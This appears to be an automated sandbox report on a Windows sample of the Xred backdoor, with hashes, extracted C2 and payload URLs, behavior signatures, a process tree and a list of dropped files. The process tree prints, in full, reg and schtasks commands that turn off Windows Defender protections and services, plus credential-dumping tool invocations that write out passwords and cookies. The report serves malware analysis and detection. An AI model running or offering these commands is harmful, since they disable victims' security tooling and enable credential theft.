Analysis

  • max time kernel
    112s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2024 11:42

General

  • Target

    1743f12fa6cad132ecbec87a60d1b3da0f106aa28c32b3a425348c0f7a108df1.exe

  • Size

    3.6MB

  • MD5

    49587b86bd87a9fb71c8ad078e36b9bd

  • SHA1

    7221a8436832cf30b046be552ad82116f3164ec4

  • SHA256

    1743f12fa6cad132ecbec87a60d1b3da0f106aa28c32b3a425348c0f7a108df1

  • SHA512

    b418b4676a155d7edf25bfc8ecf160cdb59c4b2a6d370682a5894a68db5344e9d94b3941790df2ffce37efebb1cdf6862cb1391db335102aabf73872f3724226

  • SSDEEP

    98304:Snsmtk2ajqXpy05Q0N1rsYSZ6BoXh1kkypSH3Oh5Bemg/:cLT405QYtsTEB08T8HehLvU

Malware Config

Extracted

Family

xred

C2

xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Xred

    Xred is backdoor written in Delphi.

  • Xred family
  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 10 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1743f12fa6cad132ecbec87a60d1b3da0f106aa28c32b3a425348c0f7a108df1.exe
    "C:\Users\Admin\AppData\Local\Temp\1743f12fa6cad132ecbec87a60d1b3da0f106aa28c32b3a425348c0f7a108df1.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs4dZ/dz5UA2Tb+U/iGKkkMhRfjtyz9vomtAmiZ6v/tV+IYsjRx4+L2/5YGewvzjN62Wv5GoipVCSSXdg3i5Ozj1eysOh1VZunkSsbrAA0IhD6bSb45CB0b3wAxzgNcSXBY=
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      PID:5000
      • C:\Users\Admin\AppData\Local\Temp\._cache_RtkBtManServ.exe
        "C:\Users\Admin\AppData\Local\Temp\._cache_RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs4dZ/dz5UA2Tb+U/iGKkkMhRfjtyz9vomtAmiZ6v/tV+IYsjRx4+L2/5YGewvzjN62Wv5GoipVCSSXdg3i5Ozj1eysOh1VZunkSsbrAA0IhD6bSb45CB0b3wAxzgNcSXBY=
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:860
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
          4⤵
          • Checks computer location settings
          PID:2264
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c compile.bat
            5⤵
              PID:5040
              • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
                C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2296
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
            4⤵
            • Checks computer location settings
            PID:2948
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c compile.bat
              5⤵
                PID:2468
                • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                  C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2756
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
              • Checks computer location settings
              PID:4984
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                5⤵
                  PID:5004
                  • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                    C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1516
                  • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                    C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4444
                  • C:\Users\Admin\AppData\Local\Temp\hh.exe
                    C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3020
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                4⤵
                • Checks computer location settings
                PID:3000
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c compile.bat
                  5⤵
                    PID:3448
                    • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                      C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                      6⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:540
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\._cache_RtkBtManServ.exe"
                  4⤵
                    PID:2996
                    • C:\Windows\system32\choice.exe
                      choice /C Y /N /D Y /T 3
                      5⤵
                        PID:4256
                  • C:\ProgramData\Synaptics\Synaptics.exe
                    "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                    3⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Modifies registry class
                    PID:1876
                    • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                      "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1348
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3460
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                    3⤵
                      PID:516
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                      3⤵
                        PID:5084
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        3⤵
                          PID:4328
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          3⤵
                            PID:4468
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3344
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4976
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3940
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4620
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2952
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            3⤵
                              PID:4960
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                              3⤵
                                PID:3716
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                3⤵
                                  PID:2468
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                  3⤵
                                    PID:776
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    3⤵
                                      PID:4004
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      3⤵
                                        PID:2184
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        3⤵
                                          PID:4592
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          3⤵
                                            PID:4448
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            3⤵
                                              PID:3348
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              3⤵
                                                PID:2212
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                3⤵
                                                  PID:3020
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                  3⤵
                                                    PID:2432
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                    3⤵
                                                      PID:3404
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                      3⤵
                                                        PID:3136
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                        3⤵
                                                          PID:344
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                          3⤵
                                                            PID:3324
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                            3⤵
                                                            • Modifies Security services
                                                            PID:1900
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                            3⤵
                                                            • Modifies Security services
                                                            PID:4500
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                            3⤵
                                                            • Modifies Security services
                                                            PID:4780
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                            3⤵
                                                            • Modifies Security services
                                                            PID:2136
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                            3⤵
                                                            • Modifies security service
                                                            PID:4636
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1743f12fa6cad132ecbec87a60d1b3da0f106aa28c32b3a425348c0f7a108df1.exe"
                                                          2⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:1704
                                                          • C:\Windows\system32\choice.exe
                                                            choice /C Y /N /D Y /T 3
                                                            3⤵
                                                              PID:5044
                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                          1⤵
                                                          • Checks processor information in registry
                                                          • Enumerates system info in registry
                                                          • Suspicious behavior: AddClipboardFormatListener
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:2496

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Temp\._cache_RtkBtManServ.exe

                                                          Filesize

                                                          2.8MB

                                                          MD5

                                                          88ab0bb59b0b20816a833ba91c1606d3

                                                          SHA1

                                                          72c09b7789a4bac8fee41227d101daed8437edeb

                                                          SHA256

                                                          f4fb42c8312a6002a8783e2a1ab4571eb89e92cd192b1a21e8c4582205c37312

                                                          SHA512

                                                          05cff2ca00ba940d9371c469bce6ffb4795c845d77525b8a1d4919f708296e66c0a6f3143c5964f5e963955e4f527a70624651113e72dc977f5ef40fa0276857

                                                        • C:\Users\Admin\AppData\Local\Temp\54C75E00

                                                          Filesize

                                                          21KB

                                                          MD5

                                                          212fcd2ac411a8cba100421d66144a2a

                                                          SHA1

                                                          84359a6cd10cc39f97df743ff29c700a0bdd04b8

                                                          SHA256

                                                          8dc557cd08a2a58acdd11ceb8f86978c854e7f79112306ffa3047cf3d8d63b1b

                                                          SHA512

                                                          e306e776a197028326700c2c26c20c9412aed0d97e4e224daee65cad62eca83500b46e2c36d008067f5345d05465cf2645dadaaeb3a7e138bcb58d0bc57e24df

                                                        • C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt

                                                          Filesize

                                                          4KB

                                                          MD5

                                                          ac300aeaf27709e2067788fdd4624843

                                                          SHA1

                                                          e98edd4615d35de96e30f1a0e13c05b42ee7eb7b

                                                          SHA256

                                                          d2637d58bb120dc6fefe2f38d6e0d4b308006b8639106a7f9e915fa80b5cc9d9

                                                          SHA512

                                                          09c46e708f9d253dccd4d943639d9f8126f868ae3dcd951aad12222bb98b5d3814676f878c8391b9bdab5dedcf5b9e9eaeb2ad3ffec57bda875198735586d4df

                                                        • C:\Users\Admin\AppData\Local\Temp\Cookies1

                                                          Filesize

                                                          2B

                                                          MD5

                                                          f3b25701fe362ec84616a93a45ce9998

                                                          SHA1

                                                          d62636d8caec13f04e28442a0a6fa1afeb024bbb

                                                          SHA256

                                                          b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

                                                          SHA512

                                                          98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

                                                        • C:\Users\Admin\AppData\Local\Temp\Cookies3

                                                          Filesize

                                                          17KB

                                                          MD5

                                                          19e0182b898c9554b5a6f93fc004b7a1

                                                          SHA1

                                                          d861b6156637402dddd3fef3955977d9e42a7e4c

                                                          SHA256

                                                          54848f7f9ab176a7e65a544b8bacd23dcd8f75a6382f96dd5defa5a3ceba3878

                                                          SHA512

                                                          be3c58bf43b0c73deb88995257242ea0c437d0a103bc3b8e87b5972c4e950e2f4c7d4d02745488265de0525886d02445f0b68ca1beca695124f06a7b6fd55767

                                                        • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe

                                                          Filesize

                                                          3.6MB

                                                          MD5

                                                          375ebefe4e4dcd98b568e22d6d8c52a0

                                                          SHA1

                                                          718f7a1f3802683635a634869325707c22aa8975

                                                          SHA256

                                                          1a105a1bfc6590df3476b51de2382e9b7388c5bf49c9c1969b6160d93e22410f

                                                          SHA512

                                                          ab60f03ac17dbeb83a899231ad29112ea2bfdd8a0c257811bf82fc3f2aa1119ea30c670d3a6d843c39b0bce377068a9626794838ab83c65bf70a142d77c39415

                                                        • C:\Users\Admin\AppData\Local\Temp\bfsvc.cfg

                                                          Filesize

                                                          529B

                                                          MD5

                                                          5242530a2b65089696f3cf8e5ee02ff7

                                                          SHA1

                                                          d604293148cdd953b3368c54920c043cffe9e1c1

                                                          SHA256

                                                          239a1d9844ddbd0e650f8e5de69a2a40067106a79878fa4948a8039f1573b781

                                                          SHA512

                                                          7aafe122d3b7b9d377f689a872c2306c3b04d5a8a7e4df69b65370e48356db416b5cacc6681a1f7315d0ad730fd12b651115a81bd4c880033e5ef89fa605c39a

                                                        • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe

                                                          Filesize

                                                          71KB

                                                          MD5

                                                          899d3ed011eb58459b8a4fc2b81f0924

                                                          SHA1

                                                          80361f1e0b93143ec1ddfee156760f5938c85791

                                                          SHA256

                                                          5e3f311ae67f046b56435067bcdd39fbf836fa0421fbc8c8b0e43e8e47524954

                                                          SHA512

                                                          802ee4f8d25417589c7e62f0acc9dc2dc8f1d32654ca435f6aeae2926e6900373648790451c9143856a772a49c2a8f3c8659c5b8260f0f67559aeef875825f05

                                                        • C:\Users\Admin\AppData\Local\Temp\bhvE35B.tmp

                                                          Filesize

                                                          14.0MB

                                                          MD5

                                                          2473130ce13693112f34dc864a9c2b39

                                                          SHA1

                                                          8e1557fe86939a42e8f253a27bdf800725b5674d

                                                          SHA256

                                                          8e68fd7af792133c68cb254bb6f3accd8b464e4f8b8f4e190c88e7c49b3ee094

                                                          SHA512

                                                          208b96eb88877dd48034dd3365f4afcba08e19cd2765bd9b016f46a59db34719e74cce26365afdff19e10e973d45cf9dd6fc3c45b677986d29e7446757c268f4

                                                        • C:\Users\Admin\AppData\Local\Temp\compile.bat

                                                          Filesize

                                                          70B

                                                          MD5

                                                          d90accebb3f79fe65cd938425c07b0ae

                                                          SHA1

                                                          9df3812a88d87dd419cd9e89afa5fb1d71be0dc9

                                                          SHA256

                                                          aca74cefaef4b7a32338c9c63187cffa1e808b54ab218a064007683ad1bd3a0e

                                                          SHA512

                                                          44013bfda1dbe5b217d4872e8d550cd00471cb8b969ffd6b07f83b0c59ac20ec2512d275a4603cc00e5de3a04666f66e897601ba51a5e02af622e5139ac04560

                                                        • C:\Users\Admin\AppData\Local\Temp\compile.bat

                                                          Filesize

                                                          74B

                                                          MD5

                                                          808099bfbd62ec04f0ed44959bbc6160

                                                          SHA1

                                                          f4b6853d958c2c4416f6e4a5be8a11d86f64c023

                                                          SHA256

                                                          f465a1bd2f9a3efcf0589f0b1c234d285f2bebf7416b324271d987a282915ca8

                                                          SHA512

                                                          e4f75253a402f0f5d5c651cde045757dad0d4312be023fabf279d7c053fde6ba63cf387551a0451585a87f929634e0bfa73a06dac85ecd1bb5bc0b72bb98e1f0

                                                        • C:\Users\Admin\AppData\Local\Temp\compile.bat

                                                          Filesize

                                                          156B

                                                          MD5

                                                          eb51755b637423154d1341c6ee505f50

                                                          SHA1

                                                          d71d27e283b26e75e58c0d02f91d91a2e914c959

                                                          SHA256

                                                          db903aae119dc795581080a528ba04286be11be7e9d417305d77123545fbf0f9

                                                          SHA512

                                                          e23463fe0a3719c2700826b55f375f60e5e67f3e432aa8e90c5afc8f449fc635aa4c031f9b6fa71344a8da9542585b74e4c812383043868a10a1065d477acee5

                                                        • C:\Users\Admin\AppData\Local\Temp\compile.bat

                                                          Filesize

                                                          71B

                                                          MD5

                                                          91128da441ad667b8c54ebeadeca7525

                                                          SHA1

                                                          24b5c77fb68db64cba27c338e4373a455111a8cc

                                                          SHA256

                                                          50801c4db374acec11831bf7602cd2635bc8964800c67217b25683dce4a45873

                                                          SHA512

                                                          bd2a8bc4458b1bc85c5a59db872278197bb0a2a2086a1a9aa5b6b876965b9f5586959171f334237588cc6b0f9643f580db2e959f82e451f4a3043a27e4a95cdd

                                                        • C:\Users\Admin\AppData\Local\Temp\compile.vbs

                                                          Filesize

                                                          265B

                                                          MD5

                                                          ca906422a558f4bc9e471709f62ec1a9

                                                          SHA1

                                                          e3da070007fdeae52779964df6f71fcb697ffb06

                                                          SHA256

                                                          abf09cb96f4c04a1d2d2bfd7184da63dd79c2109b1a768ca5dae4265def39eee

                                                          SHA512

                                                          661d4b4130ba12281527db418f71b7213dab62931806e2bd48690cfaed65b8a2859e5b161eaa4152d5a18babb54d6c2203f4ef5e3a1153c468d67703fd79f66b

                                                        • C:\Users\Admin\AppData\Local\Temp\config

                                                          Filesize

                                                          106B

                                                          MD5

                                                          74aa06530b7e38626a9f0f68cbf3c627

                                                          SHA1

                                                          2aa33dc8b29fe9b5f7a890bf926a80da4c8f099f

                                                          SHA256

                                                          3c25abc197d8864ded7d967b3d52df30da4f8602c86f2bbddbc27927e88919e2

                                                          SHA512

                                                          ec20859322fe256edf6aaa99618ef0a5305399c9bc4590c08155eeb503ac9cb9680a347dd457b3bf32256f4261e1dabf2a3b2e3a68b278cf7108fa19d4758b3b

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.costura.dll.compressed

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          9ab99399cb17964e3e30b7ddeb6bb8b9

                                                          SHA1

                                                          938a68687325a5fd20952958a599beb9fd221e21

                                                          SHA256

                                                          bdfed3e39a17dbc95d43fc5141904414a62e8b459f338f65a2f1c3d1facddd2f

                                                          SHA512

                                                          a9342d1af744d676115e014aa79ee7db84db2a34ca348b33d71233796621b99176825fbbdadbae713755cdeb534ff07d5ba5e5d145cc021857b261fe8915a8fd

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.costura.pdb.compressed

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          312d7fb154a11451797fc9d960764cc6

                                                          SHA1

                                                          fb7572c1de618ffdaa7dafca2dbb98415736b631

                                                          SHA256

                                                          59e46fb42446344107164fbafac1e5224c2731e6f8e031cc40cf02b3f599476c

                                                          SHA512

                                                          d84f85484ae630e99175a6c92c3ceac8125f1f465c3d643215e060104e9e6edc83fd4efda3291843532c35c4dc3d22e914aa9edb6fe8d1452c08d10dcec1c4ee

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.discord webhook.dll.compressed

                                                          Filesize

                                                          5KB

                                                          MD5

                                                          f999480ec537ec2126251977cbf8f4e3

                                                          SHA1

                                                          aceb4dc589799e239c52f7e91dc30d1b31483989

                                                          SHA256

                                                          84e5c3eac27895ab23b9f827f9b259f5a1277d4a7f1930d04638fbf47ad4d2ce

                                                          SHA512

                                                          c0cc2b7afccc605cb3ec53b1c0aa014486cce50187ff7218d0f9df0baecfd3338bdb38619e0b79817ccb72ed58fc371605ad34f728be233367838d7d5ee219f9

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.discord.net.core.dll.compressed

                                                          Filesize

                                                          68KB

                                                          MD5

                                                          4104898ca34febb688ed63812efe8cf4

                                                          SHA1

                                                          1171581bdc292455966a5d47458fe1e4334f8fbd

                                                          SHA256

                                                          265850b1887f252e04c54f81ef872587b3cfd66b0d708621d2520bc6d4bbdcac

                                                          SHA512

                                                          0547dbd6293aa40904bf02dbfe1769b8340a7b63c241e1cc7084d79f8f65da736a9391a36de34bc9fdfd97fa0ea816379f65f9c793bf38759933da0739ded3b3

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.discord.net.rest.dll.compressed

                                                          Filesize

                                                          210KB

                                                          MD5

                                                          d6a7f43ae8a52cb3bc0ff519165ea27f

                                                          SHA1

                                                          43ad469669dc3bdbc956a1cffa3836fdc06b7976

                                                          SHA256

                                                          0d16d9476baec37ce9c6b6645ee2031858dcec557abe57edcd6e9fdae5ec131a

                                                          SHA512

                                                          6f0ecbef73c361c211e1fffe13503a15a2525c52279c63e507f70fa9d360c28f2e68f8bb87275c1baf6fb71ba87ff75cdbda8b61d23a26f9f449e8fca89e9379

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.discord.net.webhook.dll.compressed

                                                          Filesize

                                                          10KB

                                                          MD5

                                                          496a1e2c65b2b6c05507d57183e38bd1

                                                          SHA1

                                                          9384570cd6bd4b54d34f111b42d857211cb0eb97

                                                          SHA256

                                                          77e7d7ac46f68f82025624b968d9189fc06f87e0eea9315a97efb112bb97d71e

                                                          SHA512

                                                          8562a5e615193d8dd37c561f83432959abb9d0e82fb8048739cdbbdf90fdfea1184c3c7b6f4457c2276c74c8bcc6c87d7a32058c4222f31d6e346502d55dc7d9

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.dotnetzip.dll.compressed

                                                          Filesize

                                                          273KB

                                                          MD5

                                                          d8ddf1b53026b9cd42cb65cba187f726

                                                          SHA1

                                                          1ea18d6dabcf4b3874273a2b0495dca5e96eb751

                                                          SHA256

                                                          1c180a0267230cb43c84ed8cd3b2bd1a660c54aed994001ecfe94cf71d951ff6

                                                          SHA512

                                                          c6c73b64aa1ef31f502d92064de0ef4801ce7afe3de41f259cf8f4d92d9972cc565b9a1ecd1ecbf88f41be4e202375aedd78ebf7ba20056e6d8a4d319094182e

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.dotnetzip.pdb.compressed

                                                          Filesize

                                                          166KB

                                                          MD5

                                                          74d98c2f5df1abc721db40d7a8760ef9

                                                          SHA1

                                                          f676deaaa1c3925183230c8f5cf0b9cd2e42f088

                                                          SHA256

                                                          2e4a99accfebe28e54ab148b95e7012ec9cf72a5de1cb3ab5bc7969ebf41bce6

                                                          SHA512

                                                          a1c8cb5748ea0014352e4155c71e95b07c5f114174116a278ae667af29b76e60b89f8699f54c26283de7fa8330c740af5f3b3cc7c592d8a4e40f0782a12f5e36

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.leaf.xnet.dll.compressed

                                                          Filesize

                                                          51KB

                                                          MD5

                                                          0ad33c90f041e1cb9ae4af2af8d6820f

                                                          SHA1

                                                          fbe68cb7846276e3f25a3fb5949ed530a7288d7d

                                                          SHA256

